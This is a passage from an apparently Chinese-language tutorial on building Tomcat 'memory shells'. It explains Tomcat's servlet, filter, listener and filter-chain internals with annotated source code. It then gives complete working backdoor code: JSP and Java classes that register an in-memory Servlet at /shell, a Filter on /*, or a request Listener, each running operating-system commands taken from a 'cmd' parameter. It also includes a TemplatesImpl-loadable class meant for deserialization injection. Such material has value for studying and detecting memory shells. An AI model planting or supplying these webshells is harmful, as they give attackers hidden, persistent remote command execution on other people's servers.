sm.getString("applicationContext.invalidServletName", servletName));
}

// 2) 状态检查:规范要求编程式注册只能发生在应用启动期;
// 一旦上下文已初始化完成,调用应抛 IllegalStateException。
// 这里的 checkState(key) 会在“已初始化”时抛 ISE,key 用于定位错误消息。
// 注释里的 TODO 表示:未来可能考虑(不符合规范地)放宽这个限制。
checkState("applicationContext.addServlet.ise");

// 3) 查找是否已存在同名的 Wrapper(每个 Servlet 对应一个 Wrapper 节点)
Wrapper wrapper = (Wrapper) context.findChild(servletName);

// “完整的” ServletRegistration 指的是同时具备 name 与 class 的定义
if (wrapper == null) {
// 4) 如果没有同名 Wrapper:创建一个新 Wrapper,设置名称,并挂到 Context 之下
wrapper = context.createWrapper();
wrapper.setName(servletName);
context.addChild(wrapper);
} else {
// 5) 若已有同名 Wrapper 且“已完整定义”(既有 name 又有 servletClass)
if (wrapper.getName() != null && wrapper.getServletClass() != null) {
// 这是 Tomcat 的可覆盖(overridable)扩展:
// - 某些来源(如片段/占位定义)可能被标为可覆盖;
// - 如果可覆盖,则本次注册把它“占用”并关闭再次覆盖的可能;
// - 如果不可覆盖,则返回 null,表示注册失败(与 API 文档一致)。
if (wrapper.isOverridable()) {
wrapper.setOverridable(false); // 覆盖一次后就不可再覆盖
} else {
return null; // 名称冲突且不可覆盖 ⇒ 注册失败(调用方应据此判断)
}
}
}

// 6) 处理 @ServletSecurity 注解(若存在)
ServletSecurity annotation = null;
if (servlet == null) {
// 6.a 以“类名”方式注册:仅记录类名,实例由容器稍后创建
wrapper.setServletClass(servletClass);

// 通过内省尝试加载类,以便检查是否带有 @ServletSecurity 注解
Class<?> clazz = Introspection.loadClass(context, servletClass);
if (clazz != null) {
annotation = clazz.getAnnotation(ServletSecurity.class);
}
} else {
// 6.b 以“现成实例”方式注册:记录类名并直接绑定实例
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);

// 仅当该实例被容器视为“动态创建的 servlet 实例”(通常由 createServlet(...) 得到)
// 才读取其上的注解。这样可避免对任意外部自建实例做不期望的注解处理。
if (context.wasCreatedDynamicServlet(servlet)) {
annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
}
}

// 7) 注入 init-params(初始化参数)到 Wrapper(等价于 web.xml 的 <init-param>)
if (initParams != null) {
for (Map.Entry<String,String> initParam : initParams.entrySet()) {
wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
}
}

// 8) 构造并返回一个“可继续配置”的注册句柄:
// - ApplicationServletRegistration 持有 wrapper 与 context 的引用,
// 允许后续调用 setLoadOnStartup / setAsyncSupported / addMapping 等。
ServletRegistration.Dynamic registration =
new ApplicationServletRegistration(wrapper, context);

// 9) 如果找到了 @ServletSecurity 注解,则将其封装为 ServletSecurityElement 并应用:
// 这会把安全约束(如 HTTP 方法约束、角色约束、传输保障)合并到应用的安全配置里。
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}

// 10) 返回 Registration 句柄,调用方通常还会继续:
// - registration.addMapping("/foo", "/bar/*")
// - registration.setLoadOnStartup(1)
// - registration.setAsyncSupported(true)
return registration;
}

这里 contextorg.apache.catalina.core.StandardContext 类型。

1
2
3
4
5
6
7
8
/**
* 与本对象关联的 Context 实例。
* 具体为 Tomcat 的 StandardContext(Catalina 容器中当前 Web 应用的节点),
* 用于在容器层面执行实际的注册、映射等内部操作。
* 注意:它不同于 Servlet API 的 ServletContext(对应用可见的门面对象)。
* 由于被声明为 final,引用在构造时确定,生命周期与所属 Web 应用一致。
*/
private final StandardContext context;

根据对 ApplicationContext#addServlet 函数的分析,我们等价实现如下过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

stdcontext.addChild(newWrapper);

之后需要调用 StandardContext#addServletMappingDecoded 添加路径映射:

1
stdcontext.addServletMappingDecoded("/shell", name);

JSP 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.PrintWriter" %>
<%!
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
servletRequest.setCharacterEncoding("UTF-8"); // POST 参数防乱码(GET 需配 connector URIEncoding)
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
};
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
<%
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
%>
<%
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/shell", name);
%>

TemplatesImpl 字节码加载恶意类实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

public class ServletMemShell extends AbstractTranslet implements Servlet {
static private String servletName = "ServletMemShell";
static private String servletUrl = "/shell";

static {
try {
ServletContext servletContext = getServletContext();
StandardContext standardContext = getStandardContext(servletContext);
Servlet evilServlet = new ServletMemShell();
Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(servletName);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(evilServlet);
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded(servletUrl, servletName);
} catch (Exception e) {
e.printStackTrace();
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
if (servletRequest != null) {
return servletRequest.getServletContext();
}
return null;
}

private static StandardContext getStandardContext(ServletContext servletContext) throws NoSuchFieldException, IllegalAccessException {
StandardContext standardContext = null;
while (standardContext == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
standardContext = (StandardContext) object;
return standardContext;
}
}
return null;
}

@Override
public void init(ServletConfig servletConfig) throws ServletException {
}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
servletResponse.setContentType("text/html");
PrintWriter out = servletResponse.getWriter();
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String result = scanner.hasNext() ? scanner.next() : "";
out.println(result);
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {
}
}

Filter 型内存马

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet

通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

  1. 使用 ServletContextaddFilter/createFilter 方法注册;
  2. 使用 ServletContextListenercontextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);
  3. 使用 ServletContainerInitializeronStartup 方法在初始化时注册(非动态,后面会描述)。

参考 ApplicationContext#addFilter 的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
throws IllegalStateException {

// 1) 基本校验:过滤器名不能为空
if (filterName == null || filterName.equals("")) {
throw new IllegalArgumentException(
sm.getString("applicationContext.invalidFilterName", filterName));
}

// 2) 状态检查:只允许在“应用启动初始化阶段”做动态注册
// 超过时机会抛 IllegalStateException(符合 Servlet 3.0 规范的限制)
// TODO 注释表示:曾考虑过“放宽该限制”(会与规范冲突),目前仍执行检查
checkState("applicationContext.addFilter.ise");

// 3) 先看上下文里是否已有同名 Filter 定义(FilterDef 是容器内部的定义持有者)
FilterDef filterDef = context.findFilterDef(filterName);

// 认为“完整的 FilterRegistration”需要同时具备:name + class
if (filterDef == null) {
// 3a) 没有则新建一个 FilterDef,先把名字塞进去,并注册到 Context
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
context.addFilterDef(filterDef);
} else {
// 3b) 已存在:若 name 和 class 都已有,说明已“完整注册”,本次忽略(返回 null)
if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
return null;
}
// 否则就是“半成品”,继续往下补充 class 或实例
}

// 4) 设置 Filter 的实现:两种方式(二选一)
if (filter == null) {
// 4a) 仅传了类名:记录类名,真正实例化由容器后续完成
filterDef.setFilterClass(filterClass);
} else {
// 4b) 直接传了 Filter 实例:记录类名 + 直接保存该实例
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}

// 5) 返回一个可继续配置的注册对象(实现了 FilterRegistration.Dynamic),
// 调用方可以用它继续 setInitParameter、addMappingForUrlPatterns 等
return new ApplicationFilterRegistration(filterDef, context);
}

可以看到,这个方法的大致过程为:

  1. 创建了一个 FilterDef 对象,将 filterNamefilterClassfilter 对象初始化进去;
  2. 使用 StandardContextaddFilterDef 方法将创建的 FilterDef 储存在了 StandardContext 中的一个 Hashmap filterDefs
  3. new 了一个 ApplicationFilterRegistration 对象并且返回

我们可以参照上述过程写出对应的内存马注册代码:

1
2
3
4
5
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

然而这个过程并没有将这个 Filter 放到 FilterChain 中,单纯调用这个方法不会完成自定义 Filter 的注册。并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter

这时我们肯定要想,能不能直接操纵 FilterChain 呢?FilterChain 在 Tomcat 中的实现是 org.apache.catalina.core.ApplicationFilterChain,这个类提供了一个 addFilter 方法添加 Filter,这个方法接受一个 ApplicationFilterConfig 对象,将其放在 this.filters 中。答案是可以,但是没用,因为对于每次请求需要执行的 FilterChain 都是动态取得的。

那 Tomcat 是如何处理一次请求对应的 FilterChain 的呢?在 ApplicationFilterFactorycreateFilterChain 方法中,可以看到流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
/**
* 构造一条用于封装“指定 servlet 实例”的 FilterChain。
*
* @param request 本次要处理的请求(可能是 Tomcat 内部的 Request,也可能是外部 facade)
* @param wrapper 管理该 servlet 的 Wrapper(能取到上下文、名称、异步支持等信息)
* @param servlet 目标 servlet 实例
* @return 构造好的过滤器链;若没有 servlet 则返回 null
*/
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper,
Servlet servlet) {

// 没有目标 servlet,直接不需要链
if (servlet == null) {
return null;
}

// 创建并初始化过滤器链对象
ApplicationFilterChain filterChain = null;

if (request instanceof Request) { // Tomcat 内部的 Request(非 facade)
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// 开启了安全管理器:每次新建链(不复用),避免跨请求共享导致的安全风险
filterChain = new ApplicationFilterChain();
} else {
// 性能优化:尝试从 Request 上复用已缓存的链,减少对象创建
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// 使用了 RequestDispatcher(forward/include)等场景:创建新的链
filterChain = new ApplicationFilterChain();
}

// 记录目标 servlet 及其“是否支持异步”的能力(后续 addFilter 时会与过滤器能力做 AND)
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// 从所属 Context 获取全部过滤器映射(来自 web.xml、注解、编程式注册等的汇总)
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();

// 若应用里根本没有配置任何过滤器映射,就直接返回只含 servlet 的链
if (filterMaps == null || filterMaps.length == 0) {
return filterChain;
}

// —— 准备匹配本次请求所需的信息 ——

// 当前调度类型:REQUEST / FORWARD / INCLUDE / ERROR / ASYNC
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

// 用于 URL 匹配的请求路径(在 RequestDispatcher 等场景下可能预先放入该属性)
String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null) {
requestPath = attribute.toString();
}

// 目标 servlet 的注册名(用于按 servlet-name 匹配)
String servletName = wrapper.getName();

// —— 第一轮:按 URL 模式匹配的过滤器,按声明顺序加入链尾 ——
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue; // 调度类型不匹配(例如该 Filter 只匹配 FORWARD)
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue; // URL pattern 不匹配
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// 配置异常(找不到对应 Filter 配置)——跳过此项
continue;
}
filterChain.addFilter(filterConfig); // 追加到链;同步更新异步支持标志
}

// —— 第二轮:按 servlet-name 匹配的过滤器,仍按声明顺序加入链尾 ——
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue; // servlet-name 不匹配
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// 配置异常——跳过
continue;
}
filterChain.addFilter(filterConfig);
}

// 返回构建完成的过滤器链(可能只包含目标 servlet)
return filterChain;
}
  1. 首先在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    FilterMap[] filterMaps = context.findFilterMaps();
    // [...]
    // —— 第一轮:按 URL 模式匹配的过滤器,按声明顺序加入链尾 ——
    for (FilterMap filterMap : filterMaps) {
    if (!matchDispatcher(filterMap, dispatcher)) {
    continue; // 调度类型不匹配(例如该 Filter 只匹配 FORWARD)
    }
    if (!matchFiltersURL(filterMap, requestPath)) {
    continue; // URL pattern 不匹配
    }
    // [...]
    }

    这里 StandardContext#findFilterMaps 实际上返回的是 StandardContext#filterMaps 中的 FilterMap

    1
    2
    3
    public FilterMap[] findFilterMaps() {
    return filterMaps.asArray();
    }
  2. 如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig,如果获取到 filterConfig,则将其加入到 filterChain 中。

    1
    2
    3
    4
    5
    6
    ApplicationFilterConfig filterConfig =
    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
    if (filterConfig == null) {
    // 配置异常(找不到对应 Filter 配置)——跳过此项
    continue;
    }

    这里 StandardContext#findFilterConfig 是从 StandardContext#filterConfigs 中根据 filterMap.getFilterName 获取的。

    1
    2
    3
    4
    5
    public FilterConfig findFilterConfig(String name) {
    synchronized (filterDefs) {
    return filterConfigs.get(name);
    }
    }
  3. 之后将会调用 org.apache.catalina.core.ApplicationFilterChain#addFilter 函数,参数为前面匹配到的 FilterConfig

    1
    filterChain.addFilter(filterConfig);

    ApplicationFilterChain#addFilter 函数将 FilterConfig 添加到 filters 数组中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    /**
    * 向当前过滤器链添加一个要执行的过滤器。
    * 依赖字段说明:
    * - filters :当前链中已收集的 ApplicationFilterConfig 数组
    * - n :已加入的过滤器个数(尾插位置下标)
    * - INCREMENT:数组需要扩容时的固定步长
    *
    * @param filterConfig 要加入链的过滤器配置(封装了 Filter 实例、init-param 等)
    */
    void addFilter(ApplicationFilterConfig filterConfig) {

    // 1) 防重复:按“同一对象引用”判断(==),
    // 如果链中已经存在这个 ApplicationFilterConfig 实例,则直接返回。
    for (ApplicationFilterConfig filter : filters) {
    if (filter == filterConfig) {
    return;
    }
    }

    // 2) 扩容:当已用元素个数 n 等于数组容量时,按固定增量 INCREMENT 扩容,
    // 将旧数组内容拷贝到新数组,再用新数组替换。
    if (n == filters.length) {
    ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig[n + INCREMENT];
    System.arraycopy(filters, 0, newFilters, 0, n);
    filters = newFilters;
    }

    // 3) 追加:将新的 filterConfig 放到数组尾部,并递增计数 n(尾插)。
    filters[n++] = filterConfig;
    }

    后续处理请求的时候会在 org.apache.catalina.core.ApplicationFilterChain#internalDoFilter 函数依次根据 filters 数组中的 FilterConfig 调用对应的 doFilter 方法。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    // 若还有下一个要执行的过滤器,则取出并执行它
    if (pos < n) {
    // 取出当前位置的过滤器配置,并将游标前移(尾递进)
    ApplicationFilterConfig filterConfig = filters[pos++];

    try {
    // 从配置中拿到实际的 Filter 实例(可能在此时懒加载/初始化)
    Filter filter = filterConfig.getFilter();

    // 异步支持协商:
    // 如果当前请求声明“支持异步”,但该 Filter 的定义标注了 asyncSupported="false",
    // 则在请求属性中打一个标记,提示后续链路禁用异步(容器内部识别用)
    if (request.isAsyncSupported() &&
    "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
    }

    // 若开启了 Java 安全管理(SecurityManager),以特权方式调用 doFilter
    if (Globals.IS_SECURITY_ENABLED) {
    final ServletRequest req = request;
    final ServletResponse res = response;
    // 当前用户主体,用于权限上下文
    Principal principal = ((HttpServletRequest) req).getUserPrincipal();

    // 反射调用 doFilter 的参数签名 (req, res, thisChain)
    Object[] args = new Object[] { req, res, this };
    // 以特权(doAsPrivilege)执行 filter.doFilter(req, res, this)
    SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
    } else {
    // 常规路径:直接执行过滤器
    filter.doFilter(request, response, this);
    }
    } catch (IOException | ServletException | RuntimeException e) {
    // 常见异常直接透传,让上层容器处理
    throw e;
    } catch (Throwable e) {
    // 其它 Throwable:先解包可能的 InvocationTargetException,
    // 再按容器约定处理不可捕获错误,最后包装为 ServletException 抛出
    e = ExceptionUtils.unwrapInvocationTargetException(e);
    ExceptionUtils.handleThrowable(e);
    throw new ServletException(sm.getString("filterChain.filter"), e);
    }
    return;
    }

通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要:

  • StandardContextfilterMaps 中添加 FilterMap

    1
    2
    3
    4
    5
    6
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());

    standardContext.addFilterMapBefore(filterMap);
  • filterConfigs 中添加 ApplicationFilterConfig

这样程序创建时就可以找到添加的 Filter 了。我们不难写出对应的 Filter 型内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "FilterMemShell";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};


FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
}
%>

Listener 型内存马

在应用中可能调用的监听器如下:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

可以看到 Listener 也是为一次访问的请求或生命周期进行服务的,在上述每个不同的接口中,都提供了不同的方法,用来在监听的对象发生改变时进行触发。而这些类接口,实际上都是 java.util.EventListener 的子接口。

这里我们看到,在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/**
* ServletRequestListener:请求“进入/退出”当前 Web 应用作用域时的回调钩子。
*
* ▸ “进入作用域”(come into scope):
* 即将进入本 Web 应用要处理的第一站(第一个 Filter 或第一个 Servlet)之前。
* ▸ “退出作用域”(go out of scope):
* 处理链走完(最后一个 Servlet/第一个 Filter 返回)后、请求离开本应用时。
*
* 典型用途:
* - 在 request 周期开始时做埋点/计时、放置 traceId、初始化 ThreadLocal 等;
* - 在结束时做资源清理(关闭句柄、移除 ThreadLocal,避免线程池泄漏)。
*
* 异步提示(Servlet 3.0+):
* - 如果请求进入异步模式(startAsync),requestDestroyed 会在异步执行 complete()
* 后才触发;期间可能发生再次调度(dispatch),不要把 requestDestroyed 误认为
* “startAsync 之后立刻发生”。
*
* @since Servlet 2.4
*/
public interface ServletRequestListener extends EventListener {

/**
* 请求即将“退出”当前 Web 应用的作用域时回调。
* 常用于:统计耗时、释放与请求绑定的资源、清理 ThreadLocal 等。
*
* @param sre 事件对象;可通过 sre.getServletRequest() 取得当前请求,
* 通过 sre.getServletContext() 取得应用级上下文。
*/
void requestDestroyed(ServletRequestEvent sre);

/**
* 请求即将“进入”当前 Web 应用的作用域时回调(在第一个 Filter/Servlet 之前)。
* 常用于:记录起始时间、生成并塞入 traceId、准备请求级别的上下文数据等。
*
* @param sre 事件对象;可通过 sre.getServletRequest() 取得当前请求,
* 通过 sre.getServletContext() 取得应用级上下文。
*/
void requestInitialized(ServletRequestEvent sre);
}

Tomcat 中 EventListeners 存放在 StandardContextapplicationEventListenersList 属性中,同样可以使用 StandardContext 的相关 add 方法添加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 将一个“应用事件监听器”追加到(已初始化的)应用事件监听器列表的末尾。
*
* 说明与注意事项:
* - 这里只是把 listener 引用加入内部列表 applicationEventListenersList,
* 不做空值校验、重复校验或类型校验;
* - 按 Servlet 规范,listener 一般应实现诸如:
* ServletContextListener / ServletRequestListener / HttpSessionListener
* 等事件接口(以及对应的 *AttributeListener、AsyncListener 等);
* - 追加到“末尾”意味着后续触发事件时的回调顺序会受加入顺序影响;
* - 本方法未做同步控制,线程安全由调用方或上层生命周期管理负责。
*
* @param listener 要添加的监听器实例
*/
public void addApplicationEventListener(Object listener) {
// 直接尾插进内部列表;不做任何额外检查或初始化动作
applicationEventListenersList.add(listener);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
}

public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null) {
InputStream in = null;
try {
// cmd /c dir 是执行完dir命令后关闭命令窗口
in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\n");
String out = s.hasNext() ? s.next() : "";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
// 命令执行结果写回Response
request.getResponse().getWriter().write(out);
} catch (IOException e) {
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
}
%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener myListener = new MyListener();
context.addApplicationEventListener(myListener);
%>

基于 Tomcat 中间件

Valve 型内存马

Pipeline/Valve 是 Tomcat(Catalina)在 容器层级(Engine/Host/Context/Wrapper)上实现的“拦截-处理链”:
